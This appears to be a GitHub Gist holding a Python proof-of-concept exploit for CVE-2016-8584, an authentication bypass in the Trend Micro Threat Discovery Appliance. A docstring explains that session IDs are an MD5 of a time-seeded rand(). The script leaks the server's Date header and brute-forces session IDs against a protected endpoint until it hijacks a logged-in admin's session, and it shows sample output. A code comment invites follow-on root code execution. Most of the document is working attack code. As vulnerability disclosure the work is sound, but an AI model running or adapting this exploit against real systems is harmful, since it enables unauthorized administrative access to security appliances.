Created
April 11, 2017 16:14
-
-
Save malerisch/0b8ecfcb03a2c2f26e5f649cf1df8d33 to your computer and use it in GitHub Desktop.
CVE-2016-8584 - Trend Micro Threat Discovery Appliance <= 2.6.1062r1 (latest) Session Generation Authentication Bypass Vulnerability
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
""" | |
Trend Micro Threat Discovery Appliance <= 2.6.1062r1 Session Generation Authentication Bypass Vulnerability | |
Found by: Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/ & Steven Seeley of Source Incite | |
File: TDA_InstallationCD.2.6.1062r1.en_US.iso | |
sha1: 8da4604c92a944ba8f7744641bce932df008f9f9 | |
Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1 | |
Summary: | |
======== | |
There exists an authentication bypass vulnerability in the way the Trend Micro Threat Discovery Appliance generates sessions. | |
The mechanism generates a session based on md5(srand(time())) which is obviously not random enough. | |
This means an attacker can keep generating the same sessions each second and attempt a protected request, when an admin logs | |
in, the code will detect a valid session. | |
Exploitation: | |
============= | |
What we do is: | |
1. We leak the servers date header | |
2. Generate a timestamp using the epoch | |
3. Go back by 5 minutes | |
4. Generate session values for each second and attempt a request | |
5. Fail? GOTO 4 and repeat. | |
This will catch any last 5 minute logins as well as any future logins using the current ip address of the attacker. | |
Once a valid session is caught, automatic exploitation of 1/10 other RCE's discovered will give us root, unauthenticated. | |
Notes: | |
====== | |
- The vulnerable code is in mini_httpd/utils.so, please see bug.png for a screenshot of the assembly | |
- This poc code needs to run on a linux box due to the loading of libc (required since the target is linux) | |
- This attack will only work if the attacker and the admin have the same IP address. This can occur in several situations: | |
1. Some sort of proxy for both the attacker and the admin | |
2. NAT'ed network whereby the admin and attacker share the same IP | |
3. A typically LAN whereby an admin logins and then disconnects and then an attacker gets the same IP assigned | |
4. A typical WiFi network whereby an attacker can de-auth his/her victim | |
5. etc | |
Example: | |
======== | |
root@kali:~# ./poc.py | |
(+) usage: ./poc.py <target> | |
(+) example: ./poc.py 172.16.175.123 | |
root@kali:~# ./poc.py 172.16.175.123 | |
(+) leaking timestamp... | |
(+) re-winding sessions by 5 minutes... | |
(+) started session guessing... | |
(+) identified session: cbdcec1d35552662df5ab36decf34326 | |
(+) attacker can now log with this session! | |
""" | |
import sys | |
import time | |
import ctypes | |
import requests | |
import hashlib | |
import calendar | |
import email.utils as eut | |
from requests.packages.urllib3.exceptions import InsecureRequestWarning | |
# fix the warnings... | |
requests.packages.urllib3.disable_warnings(InsecureRequestWarning) | |
i = 0 | |
def get_timestamp(date): | |
""" | |
this function just parses the date http response header string to | |
generate a time tuple and then a timestamp from the epoch of 1970 | |
""" | |
return calendar.timegm(eut.parsedate(date)) | |
def leak_server_time(): | |
""" | |
this function leaks the initial date... | |
""" | |
r = requests.get("https://%s/" % target, verify=False) | |
return r.headers['date'] | |
def check_session(sessid): | |
""" | |
here we just valid the generated session | |
""" | |
r = requests.get('https://'+target+'/cgi-bin/firmware_updated.cgi', verify=False, cookies={"session_id": sessid }) | |
if "updated" in r.text: | |
return True | |
else: | |
return False | |
def attack(timestamp): | |
""" | |
We take the leaked timestamp and generate a session | |
by seeding libc's rand() and then md5 the resultant | |
""" | |
global i | |
i += 1 | |
# add an extra second | |
timestamp += i | |
# seeding rand() | |
libc.srand(timestamp) | |
# md5 the session | |
m = hashlib.md5() | |
# so called, rand... | |
m.update(str(libc.rand())) | |
# our session | |
return m.hexdigest() | |
def main(): | |
""" | |
The start of the pain train | |
""" | |
global target, libc | |
# the foo sauce | |
libc = ctypes.CDLL('libc.so.6') | |
if len(sys.argv) != 2: | |
print "(+) usage: %s <target>" % sys.argv[0] | |
print "(+) example: %s 172.16.175.123" % sys.argv[0] | |
sys.exit(-1) | |
target = sys.argv[1] | |
print "(+) leaking timestamp..." | |
ts = get_timestamp(leak_server_time()) | |
print "(+) re-winding sessions by 5 minutes..." | |
# last 5 minutes, since a session last 6 minutes... | |
ts = ts - (5*60) | |
print "(+) started session guessing..." | |
while True: | |
attempt = attack(ts) | |
c = check_session(attempt) | |
if c == True: | |
# do your evil things here, like get rce as root! | |
print "(+) identified session: %s " % attempt | |
print "(+) attacker can now log with this session!" | |
break | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment